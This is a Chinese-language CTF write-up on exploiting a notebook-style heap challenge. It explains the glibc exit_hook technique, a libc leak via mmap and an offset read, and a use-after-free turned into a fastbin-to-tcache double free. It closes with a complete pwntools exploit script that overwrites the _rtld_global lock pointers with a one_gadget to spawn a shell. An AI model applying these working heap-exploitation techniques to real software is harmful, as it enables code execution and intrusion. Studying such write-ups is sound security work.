linux程序调用过程

image-20240405131619776

在Linux下一个程序真正的入口点是_start()函数,在该函数中会调用__libc_start_main()函数,这个函数会调用__libc_csu_init()函数进行一系列的初始化工作,之后才会调用main函数,来到用户代码空间

同样的,无论用户代码中是否调用exit()函数,在用户代码结束后程序都会缺省调用exit函数

exit函数调用链

关键点在于exit调用的__run_exit_handler函数里面调用了 __call_tls_dtors_dl_fini_IO_cleanup_exit函数,最后是在_exit函数里面利用系统调用结束程序。

重点在于_dl_fini函数。

这个函数中先后调用:rtld_lock_default_lock_recursive_dl_sort_maprtld_lock_default_unlock_recursive__do_global_dtors_aux_fini

并且其中rtld_lock_default_lock_recursivertld_lock_default_unlock_recursive是利用函数指针调用的。

这两个函数指针保存在_rtld_global结构体中,只需要修改这两个函数指针为onegadget,即可利用exit触发getshell。

这就是exit_hook,实际上就是修改_rtld_global结构体中的rtld_lock_default_lock_recursivertld_lock_default_unlock_recursive的函数指针。

题目分析

image-20240405132759406

漏洞点

image-20240405132833756

pages没有限制,可以输入一个很大的数,这样malloc就会触发mmap,就会分配libc中的内存充当heap,然后利用show(idx)就能根据偏移泄露main_arena处的libc地址。

image-20240405133024067

存在UAF。但是最多释放11次。

攻击思路

利用第一个漏洞点,触发mmap,申请到libc中的chunk,然后根据偏移泄露libc地址。 再填满tcachebin,泄露heap_key和heap_base。

接下来在fastbin中构造double_free,再将tcachebin中的chunk全部申请出来,此时只剩fastbin中的double_free链表。然后申请一个fastbin,就会触发将fastbin链表添加到tcachebin中,就可以利用修改fd任意写地址了。只需计算出exit_hook的地址,然后申请到exit_hook处内存,修改为one_gadget为即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node4.anna.nssctf.cn', 28318)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
def add(index,content):
rl(": ")
sl('1')
rl("Index: ")
sl(str(index))
rl("Content: ")
s(content)
def show(index):
rl(": ")
sl('3')
rl("Index: ")
sl(str(index))
def delete(index):
rl(": ")
sl('2')
rl("Index: ")
sl(str(index))

# gdb.attach(p)
rl("How many pages your notebook will be? :")
#0x40040000x8=2002000000
sl(str(0x40040000))

for i in range(10):
add(i,'a')
show(537498)
rl("Content: ")
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak - 0x218cc0
lg("libc_base",libc_base)

for i in range(8):
delete(i)
show(0)
rl("Content: ")
heap_key = u64(p.recv(5).ljust(8,'\x00'))
lg("heap_key",heap_key)
heap_base = heap_key << 12
lg("heap_base",heap_base)

delete(8)
delete(7)
for i in range(7):
add(i,'a')
# rl(": ")
# sl('4')
exit_hook = 0x21a6c0+libc_base
lg("exit_hook",exit_hook)
onegadget = [0xeeccc,0xeeccf,0xeecd2]
add(7,p64((exit_hook)^(heap_key)))

add(8,p64(0)*2)
add(9,p64(0)*2)

add(10,p64(onegadget[0]+libc_base)*2)
# gdb.attach(p, 'b exit')
rl(": ")
sl('4')

inter()